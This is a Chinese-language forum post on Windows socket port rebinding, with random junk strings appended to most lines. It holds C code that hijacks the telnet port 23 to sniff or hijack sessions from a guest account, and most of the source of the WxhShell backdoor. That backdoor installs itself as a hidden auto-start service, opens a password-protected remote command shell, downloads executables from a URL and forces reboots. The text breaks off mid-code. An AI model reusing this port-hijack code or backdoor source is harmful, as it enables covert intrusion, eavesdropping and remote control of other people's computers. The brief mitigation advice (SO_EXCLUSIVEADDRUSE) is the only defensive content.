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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T6=c9f?7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g;i>nzf  
<ap%+(!I  
  saddr.sin_family = AF_INET; H1yl88K  
mQ;b'0&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZF_*h`B  
Pp7}|/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I5mnV<QA^  
>2x[ub%$L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Gw:8-bxS  
WNrgqyM  
  这意味着什么?意味着可以进行如下的攻击: XpJT/&4  
(@B gsY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :;cKns0OA  
= 7d{lK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "a6[FqTs  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SQDllG84E  
jutEb@nog  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c/DB"_}!a  
1\z5[ _  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1.+0=M[h  
` Xc~'zG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8L`J](y  
ts`c_hH,1'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {f((x1{HZx  
gtHWd;1&f  
  #include q(p]6Ha|  
  #include H5'/i;  
  #include m Y*JNx  
  #include    3,DUT{2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >'iXwe-  
  int main() }b)7gd=  
  { &m&Z^CA  
  WORD wVersionRequested; `wj<d>m  
  DWORD ret; KC9_H>  
  WSADATA wsaData; 2a'b}<|[(  
  BOOL val; V|e9G,z~A  
  SOCKADDR_IN saddr; y!&6"l$K]  
  SOCKADDR_IN scaddr; :V*c9,>ZO  
  int err; ;9PJ K5>~  
  SOCKET s; ghq[oK  
  SOCKET sc; 48vKUAzx`  
  int caddsize; L'B= =#  
  HANDLE mt; Tf(-Duxz  
  DWORD tid;   N9QHX  
  wVersionRequested = MAKEWORD( 2, 2 ); [0<N[KZ)  
  err = WSAStartup( wVersionRequested, &wsaData ); R8O; 8c?D  
  if ( err != 0 ) { @xIKYJyU  
  printf("error!WSAStartup failed!\n"); LI1OocY.]  
  return -1; 2XI%z4\)!  
  } C +S  
  saddr.sin_family = AF_INET; Teh _  
   ~iI4v#0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W: R2e2  
RG[b+Qjn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8WU_d`DF  
  saddr.sin_port = htons(23); 5q4sxY9T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :j feY  
  { z0|%h?N  
  printf("error!socket failed!\n"); Zpc R   
  return -1; h[H FZv~{  
  } Cn+'!?!d,  
  val = TRUE; "g}mxPe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K@d,8[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6j uNn}  
  { xg*)o*?  
  printf("error!setsockopt failed!\n"); kq +`.  
  return -1; wP:ab  
  } (NB\wJg $  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F&pJ faig  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !<'0 GOl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ujb7uho  
Nr6[w|Tzd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *F[;D7sZ~  
  { Qmbl_#  
  ret=GetLastError(); LYM(eK5V  
  printf("error!bind failed!\n"); ]CL t Km  
  return -1; #i6ZY^+ee  
  } M$L ; -T  
  listen(s,2); #\DKU@|h  
  while(1) [&_c.ti  
  { ftr?@^  
  caddsize = sizeof(scaddr); d9bc>5%-F  
  //接受连接请求 { [S@+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Dx:2/"v  
  if(sc!=INVALID_SOCKET) U_\3preF  
  { vdS)EIt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `)Z+]5:  
  if(mt==NULL) 0xZX%2E  
  { ;~nz%L J  
  printf("Thread Creat Failed!\n"); svT1b'=\$I  
  break; Gh.@l\|tf  
  } 7|vB\[s  
  } O\;R (  
  CloseHandle(mt); 6|{$]<'  
  } U`25bb1W j  
  closesocket(s); ^TWMYF-  
  WSACleanup(); &uX| Ksq  
  return 0; R\VM6>SN'S  
  }   335\0~;3  
  DWORD WINAPI ClientThread(LPVOID lpParam) X!'nfN  
  { $d[ -feU  
  SOCKET ss = (SOCKET)lpParam; !X 8<;e}2  
  SOCKET sc; k~P{Rm;F  
  unsigned char buf[4096]; hp:8e@  
  SOCKADDR_IN saddr; LEM^8G]O  
  long num; ?M02|8-  
  DWORD val; Y$L>tFA  
  DWORD ret; 71$MhPvd<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JsA9Xdk`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W;^bc*a_  
  saddr.sin_family = AF_INET; P2Or|_z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C/sDyv$  
  saddr.sin_port = htons(23); 8N58w)%7`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4h[S`;D0Vf  
  { .W9/*cZV0  
  printf("error!socket failed!\n"); Sn _zhQxG  
  return -1; &;V3[ *W"  
  } $ZQ?E^> B  
  val = 100; tFYIKiq2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <;?&<qMo,P  
  { c= -2c&=&  
  ret = GetLastError(); UpA{$@  
  return -1; ^edg@fp  
  } ji &*0GJQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )kE(%q:*P$  
  { #=MQE  
  ret = GetLastError(); h0N*hx   
  return -1; JKFV7{ %Gl  
  } CwV1~@{-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !Qg%d&q.Sx  
  { >VAZ^kgi  
  printf("error!socket connect failed!\n"); K 7x,>  
  closesocket(sc); }UzO_&Z#6  
  closesocket(ss); <?TJ-   
  return -1; R.g'&_zx  
  } EmDA\9~@R  
  while(1) t?-7Z6  
  { j=^b'dyL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J6!t"eB+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 u%#s_R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IXSCYqoK  
  num = recv(ss,buf,4096,0); GMw|@?:{  
  if(num>0) J-W, ^%  
  send(sc,buf,num,0); Y=gj{]4  
  else if(num==0) ]c8$%  
  break; n9zS'VU  
  num = recv(sc,buf,4096,0); \w 6%J77  
  if(num>0) !(!BW9Zt+  
  send(ss,buf,num,0); 6]|NB&  
  else if(num==0) V.IgEE]  
  break; ,x+_/kqx  
  } ax0:v!,e  
  closesocket(ss); |U_48  
  closesocket(sc); S|A?z)I  
  return 0 ; %@! Vx  
  } 4*UoTE-g$  
{PM)D [$i  
X;5U@l  
========================================================== !Xwp;P=  
@"}dbW<DV  
下边附上一个代码,,WXhSHELL I +,D,Vg  
`p&ko$i2  
========================================================== >#@1 I  
-(n[^48K  
#include "stdafx.h" |Hbe]2"x>  
cJ&e^$:Er  
#include <stdio.h> mu1oD;lQ  
#include <string.h> pGi "*oZD  
#include <windows.h> ou44vKzS  
#include <winsock2.h> Z_qs_/y  
#include <winsvc.h> b; SFnZa8  
#include <urlmon.h> r +] J {k  
@o+T<}kWX  
#pragma comment (lib, "Ws2_32.lib") SnbH`\U"  
#pragma comment (lib, "urlmon.lib") (k"oV>a|  
'JEZ;9}  
#define MAX_USER   100 // 最大客户端连接数 =+{.I,g}g@  
#define BUF_SOCK   200 // sock buffer *@Z/L26s;=  
#define KEY_BUFF   255 // 输入 buffer 2#'[\*2|N  
#R|M(Z">q  
#define REBOOT     0   // 重启 x5m .MQ J  
#define SHUTDOWN   1   // 关机 ?lb1K'(  
)o[ O%b  
#define DEF_PORT   5000 // 监听端口 +G&h  
)2oWoZ vi9  
#define REG_LEN     16   // 注册表键长度 J`O4]XRY  
#define SVC_LEN     80   // NT服务名长度 =~Jv*c  
gFJ& t^yL  
// 从dll定义API >b-rAO\{}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t4?g_$>   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I TJ>[c]x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -!MDYj+U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  ew4IAF  
@hm %0L  
// wxhshell配置信息 >"F~%D<.  
struct WSCFG { >qx~m>2|8]  
  int ws_port;         // 监听端口 g\ @nA4  
  char ws_passstr[REG_LEN]; // 口令 JBE'B Q@  
  int ws_autoins;       // 安装标记, 1=yes 0=no <uL?7P  
  char ws_regname[REG_LEN]; // 注册表键名 'oTcx Jx  
  char ws_svcname[REG_LEN]; // 服务名 i#1T68y}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $'X*L e@k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AnPm5i.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xr M[8a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %>i7A?L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PZpwi?N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +M@G 8l  
Vw9^otJu  
}; N)  {  
g$dL5N7  
// default Wxhshell configuration /^uvY  
struct WSCFG wscfg={DEF_PORT, 1elcP`N1  
    "xuhuanlingzhe", ]qXHalHY  
    1, FTCp3g  
    "Wxhshell", -ihF)^"a  
    "Wxhshell", }#<Sq57n  
            "WxhShell Service", ;y6Jo  
    "Wrsky Windows CmdShell Service", 5vbnO]8  
    "Please Input Your Password: ", >o 3X)  
  1, P xpz7He  
  "http://www.wrsky.com/wxhshell.exe", Di*+Cz;gK  
  "Wxhshell.exe" An[*Jx  
    }; <$Uj ~jN  
q9WdJ!-^X  
// 消息定义模块 l,*Q?q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K^{`8E&A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ; tvB{s_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 83i%3[L  
char *msg_ws_ext="\n\rExit."; N>ct`a)BD/  
char *msg_ws_end="\n\rQuit."; w,3`Xq@  
char *msg_ws_boot="\n\rReboot..."; -#gb {vj  
char *msg_ws_poff="\n\rShutdown..."; ZFW}Vnl  
char *msg_ws_down="\n\rSave to "; {K3\S 0L  
dN |w;|M  
char *msg_ws_err="\n\rErr!"; //ZB B,[@  
char *msg_ws_ok="\n\rOK!"; GeHDc[7  
>+vWtO 2  
char ExeFile[MAX_PATH]; :1Fm~'  
int nUser = 0; .[ 1A  
HANDLE handles[MAX_USER]; ;S?1E:\av  
int OsIsNt; K/\#FJno  
;xB"D0~,1  
SERVICE_STATUS       serviceStatus; :R_{tQ-WG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6-KC[J^Xo  
~O1*]  
// 函数声明 0^ E!P>  
int Install(void); :WA o{|&  
int Uninstall(void); i $I|JJJ  
int DownloadFile(char *sURL, SOCKET wsh); :-"J)^V  
int Boot(int flag); {]D!@87  
void HideProc(void); x ;Gyo  
int GetOsVer(void); j~Gu;%tq  
int Wxhshell(SOCKET wsl); bq(*r:`"  
void TalkWithClient(void *cs); [PX'Jer  
int CmdShell(SOCKET sock); BLaX p0  
int StartFromService(void); 'd U$QO  
int StartWxhshell(LPSTR lpCmdLine); RTY$oUqlZ  
o=`9JKB~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ( ?/0$DB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TdQ^^{SRp  
r]HLO'<]  
// 数据结构和表定义 !%s7I ^f*  
SERVICE_TABLE_ENTRY DispatchTable[] = Z:/S@ry  
{ Qgx~'9   
{wscfg.ws_svcname, NTServiceMain}, TJ; v}HSo  
{NULL, NULL} =dA T^e##  
}; (ZEVbAY?i  
|%RFXkHS  
// 自我安装 GU[ Cq=k  
int Install(void) !@YYi[Gk  
{ iT5H<uS  
  char svExeFile[MAX_PATH]; 0a'@J~v!  
  HKEY key; ~!&[;EM<bm  
  strcpy(svExeFile,ExeFile); A+F-r_]}db  
yPQ{tS*t  
// 如果是win9x系统,修改注册表设为自启动 +'n1?^U  
if(!OsIsNt) { *e>:K$r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e0$mu?wd-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bR8)s{p6  
  RegCloseKey(key); SD.ze(P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OT *W]f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .ERO*Tj  
  RegCloseKey(key); 2~`dV_  
  return 0; ,o}[q92@w  
    } Y 4714  
  } &9ZIf#R  
} H~G=0_S  
else { CqX%V":2  
=OHDp7GXO>  
// 如果是NT以上系统,安装为系统服务 d.} rn"(z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8U(a&G6gn  
if (schSCManager!=0) F Q k;  
{ AQV3ZVP  
  SC_HANDLE schService = CreateService a<o0B{7{BM  
  ( y]CJOC)/K  
  schSCManager, M^[ jA](a  
  wscfg.ws_svcname, qt:->yiq+  
  wscfg.ws_svcdisp, Wey\GQ`"8  
  SERVICE_ALL_ACCESS, 'P Yl%2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HkV/+ {;S~  
  SERVICE_AUTO_START, ~%}g"|o  
  SERVICE_ERROR_NORMAL, d:wAI|  
  svExeFile, 2 sOc]L:9  
  NULL, 4dok/ +Ec  
  NULL, 4[-9$ r  
  NULL, )Z_i[1V  
  NULL, uB^]5sqfk  
  NULL nx +& {hn(  
  ); $I/p6  
  if (schService!=0) Y$Ke{6 4  
  { /vV 0$vg  
  CloseServiceHandle(schService); .Lp-'!i  
  CloseServiceHandle(schSCManager); e=R} 4`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dog,vUu  
  strcat(svExeFile,wscfg.ws_svcname); 7, 4x7!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Rd$<R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <'B^z0I,  
  RegCloseKey(key); Bf}_ Jw-=  
  return 0; A+l"  
    } s-ou;S3s  
  } A^Zs?<C-  
  CloseServiceHandle(schSCManager); &p%ctg  
} K@,VR3y /  
} WE"'3u^k  
ie ,{C  
return 1; #Nd+X@j  
} 2X]\:<[4  
B>mQ\Q  
// 自我卸载 !I Nr  
int Uninstall(void) Xm-63U`w5  
{ *o#`lH  
  HKEY key; \wCL)t.cX  
\*N1i`99  
if(!OsIsNt) { =e+go ]87x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5jLDe~  
  RegDeleteValue(key,wscfg.ws_regname); t(yv   
  RegCloseKey(key); #n7{ 3)   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \[&]kPcDl  
  RegDeleteValue(key,wscfg.ws_regname); ')aYkO{%sb  
  RegCloseKey(key); X<{m;T `  
  return 0; &Xav$6+Z1J  
  } Ll`apKr  
} $d=lDN  
} z W _'sC  
else { 5 9vGLN!L  
;@ e |}Gk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :+=*  
if (schSCManager!=0) IviWS84  
{ Pm_=   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6\K)\  
  if (schService!=0) *+z({S_Nv  
  { ;1 fML,8  
  if(DeleteService(schService)!=0) { Pla EI p  
  CloseServiceHandle(schService); 88K*d8m  
  CloseServiceHandle(schSCManager); S!]}}fKEFm  
  return 0; 3:( `#YY  
  } !jbjrzv9  
  CloseServiceHandle(schService); T,fz/5w  
  } z|2liQrf+  
  CloseServiceHandle(schSCManager); KOQTvJ_#  
} Qi61(lK  
} -*A'6%`  
&M!:,B  
return 1; "mf;k^sqS  
} Xy{+=UY  
uE$o4X  
// 从指定url下载文件 4Rn i7qH  
int DownloadFile(char *sURL, SOCKET wsh) }NXESZYoi  
{ 2~<0<^j/]  
  HRESULT hr; _biJch  
char seps[]= "/"; D/WS  
char *token; {JgN^R<5<f  
char *file; OOCeZ3yF(  
char myURL[MAX_PATH]; kWd'gftQ  
char myFILE[MAX_PATH]; t/Fe"T[,V  
UU;:x"4  
strcpy(myURL,sURL); z#4g,)ZX  
  token=strtok(myURL,seps); 7 'S]  
  while(token!=NULL) 63HkN4D4  
  { {E/TC%  
    file=token; kXr%73s  
  token=strtok(NULL,seps); GpL#, qYc  
  } E@Fen CF  
X d6y7s  
GetCurrentDirectory(MAX_PATH,myFILE); f<wgZM  
strcat(myFILE, "\\"); Tt\w^Gv\d  
strcat(myFILE, file); '}u31V"SS  
  send(wsh,myFILE,strlen(myFILE),0); Q\76jD`m\  
send(wsh,"...",3,0); iIFQRnpu;3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <B`V  
  if(hr==S_OK) ^U}0D^jDeE  
return 0; o[#a}5Y  
else >gl.(b25C  
return 1; `cpcO  
ZAZCvN@5  
} +$t%L  
eXK`%'  
// 系统电源模块 9K|lU:,  
int Boot(int flag) }U9jsm  
{ N6;Z\\&0^q  
  HANDLE hToken; j,XKu5w)Oi  
  TOKEN_PRIVILEGES tkp; 1RA$hW@}  
)^TQedF  
  if(OsIsNt) { PS6`o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cy4'q ?r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pc'?p  
    tkp.PrivilegeCount = 1; N+5 ^h(~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gEP E9ew  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %S.U`(.  
if(flag==REBOOT) { {%{GZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cAS_?"V a  
  return 0; 0K ?(xB  
} YHYB.H)  
else { {O) &5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W#j,{&KVn  
  return 0; @3YuV=QfH  
} U[l%oLra  
  } ItADO'M  
  else { " 44?n <1  
if(flag==REBOOT) { Tm52=+uf$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q=E@i9c9  
  return 0; s~ A8/YoU}  
} Tm\[q  
else { OU@x1G{Cy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) de9l;zF  
  return 0; |`wsKr'  
} 7-I>5 3@  
} VU9P\|c@<  
Cw $^w  
return 1; \F~Cbj+'Nu  
} G4' U;  
cg0 0t+  
// win9x进程隐藏模块 YS~t d+*  
void HideProc(void) I!gj;a?R  
{ 9 w1ONw8v  
-P>=WZu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /T)n5X  
  if ( hKernel != NULL ) acQN pT  
  { ; ,jLtl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~qxXou,J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y&+_p$13  
    FreeLibrary(hKernel); aG_O N0g  
  } :)95 b fa.  
mwH!:f  
return; x9l0UD*+g  
} mo[<4U ks  
2F @)nh  
// 获取操作系统版本 d~-p;i  
int GetOsVer(void) *)1Vs'!-  
{ Wxau]uix  
  OSVERSIONINFO winfo; [P=[hj;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^85n9a?8  
  GetVersionEx(&winfo); Ir"Q%>K0f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x ;,xd  
  return 1; F LI8r:  
  else p''"E$B/(  
  return 0; Xj~EVD  
} 3DC%I79  
Qk.Q9@3W  
// 客户端句柄模块 puN=OX}C  
int Wxhshell(SOCKET wsl) M5WtGIV  
{ /1~|jmi(  
  SOCKET wsh; 'QojSq   
  struct sockaddr_in client; (0#F]""\e  
  DWORD myID; =4<S8Cp  
X|E+K  
  while(nUser<MAX_USER) rw[{@|)'z  
{ A]Tcj^#  
  int nSize=sizeof(client); YQV?S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W^.-C  
  if(wsh==INVALID_SOCKET) return 1; ^7 bf8 ^`  
)nHE$gVM s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q&7)vs  
if(handles[nUser]==0) \UqS -j|  
  closesocket(wsh); fTV|? :C{  
else 92]ZiL?k  
  nUser++; _T|H69 J  
  } 4bev* [k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1"&;1Ts  
h^+C)6(58n  
  return 0; k\sM;bCv7  
} Nv?-*&L  
.um&6Q=2<  
// 关闭 socket ^M"z1B]  
void CloseIt(SOCKET wsh) bk"k&.C^+  
{ @D~+D@i$TW  
closesocket(wsh); M*|VLOo=v  
nUser--; }"?nU4q;S  
ExitThread(0); Zxc7nLKF~  
} c|}K_~l_  
0w(T^G hZ  
// 客户端请求句柄 !\-4gr?`!  
void TalkWithClient(void *cs) KU|BT .o8  
{ Zfy~mv$  
PN"8 Y  
  SOCKET wsh=(SOCKET)cs; Np<&#s[dQ  
  char pwd[SVC_LEN]; mvq7G  
  char cmd[KEY_BUFF]; ^@`e  
char chr[1]; mw(c[.*%  
int i,j; jc&/}o$K  
n(1wdlEp  
  while (nUser < MAX_USER) { twtkH~`"Q  
O5qW*r'  
if(wscfg.ws_passstr) { %x}&=zx0*1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !/6\m!e|1R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }B=qH7u.K  
  //ZeroMemory(pwd,KEY_BUFF); r%F(?gKXkd  
      i=0; 0SMQDs5j  
  while(i<SVC_LEN) { w3=)S\  
FL`1yD^2  
  // 设置超时 Xqg.kX  
  fd_set FdRead; 4W!\4Va  
  struct timeval TimeOut; BjyXQ9D  
  FD_ZERO(&FdRead); -jxWlO  
  FD_SET(wsh,&FdRead); * {gxI<   
  TimeOut.tv_sec=8; dY/u<4  
  TimeOut.tv_usec=0; ZUXse1,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s~LZOPN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z .bit_(  
>v1 y0zx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #7]o6  
  pwd=chr[0]; z|3`0eWIG  
  if(chr[0]==0xd || chr[0]==0xa) { !@pV)RUv7  
  pwd=0; 4`8IFK  
  break; to&N22a$  
  } \5Vp6^  
  i++; %6A-OF  
    } [A"H/Qztk  
'h^-t^:<>b  
  // 如果是非法用户,关闭 socket ik2- OM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &[5n0e[  
} ]yAEjn9cN  
~v2V`lxh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?ds f@\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3>Q@r>c  
S<eZd./p6  
while(1) { N7*CP|?E  
]*2EK9<  
  ZeroMemory(cmd,KEY_BUFF); L\b]k,Ksf  
_%wK}eH+sy  
      // 自动支持客户端 telnet标准   .!JMPf"QEI  
  j=0; 6z#lN>Y-`  
  while(j<KEY_BUFF) { B2~f;zy`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bQwdgc),s{  
  cmd[j]=chr[0]; j:3EpD@GS  
  if(chr[0]==0xa || chr[0]==0xd) { d"H<e}D  
  cmd[j]=0; _W0OM[  
  break; D =r-  
  } H>?:U]  
  j++; J>=1dCK  
    } k42b:W5%  
Es'-wr\Hm  
  // 下载文件 7qP4B9S  
  if(strstr(cmd,"http://")) { oGm1d{_-O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7E$eN8H  
  if(DownloadFile(cmd,wsh)) Fweh =v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Hi h  
  else g/IH|Z=A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \!^i;1h0c3  
  } eo1&.FQu  
  else { XzT78  
b fp,zs  
    switch(cmd[0]) { \ Y*h  
  NW{y% Z  
  // 帮助 6Z~Ya\~.g.  
  case '?': { .zvlRt.zl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j%pCuC&"  
    break; =/6p#d*0  
  } M^z=1YrMd  
  // 安装 i?F[||O"$  
  case 'i': { =~J"kC  
    if(Install()) 1"}B]5!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); br0u@G  
    else p?Ed- S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aXe{U}eow  
    break; F9MR5O"  
    } Yeqvv  
  // 卸载 xC-BqVJ%_T  
  case 'r': { FZiZg;  
    if(Uninstall()) (%[Tk[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); su&t7rJ  
    else #G3` p!"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kg<P t >  
    break; 6m9 7_NRO  
    } }6).|^]\'  
  // 显示 wxhshell 所在路径 N~;*bvW{  
  case 'p': { u7HvdLql  
    char svExeFile[MAX_PATH]; I*Vt,JYx  
    strcpy(svExeFile,"\n\r"); <eY %sFq,  
      strcat(svExeFile,ExeFile); 75ZH  
        send(wsh,svExeFile,strlen(svExeFile),0); cVp[ Z#B  
    break; *4t-e0]j@w  
    } [-\({<t3x  
  // 重启 25d\!3#E  
  case 'b': { *B1x`=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "K,bH  
    if(Boot(REBOOT)) UP\C"\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tM)Iir*U#  
    else { QU.0Elw  
    closesocket(wsh); OB~C}'^$  
    ExitThread(0); P/ci/y_1  
    } D?^540,b  
    break; wa!zv^;N*  
    } BRb\V42i;  
  // 关机 20aZI2sk`  
  case 'd': { {LP b))  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  EZ<80G  
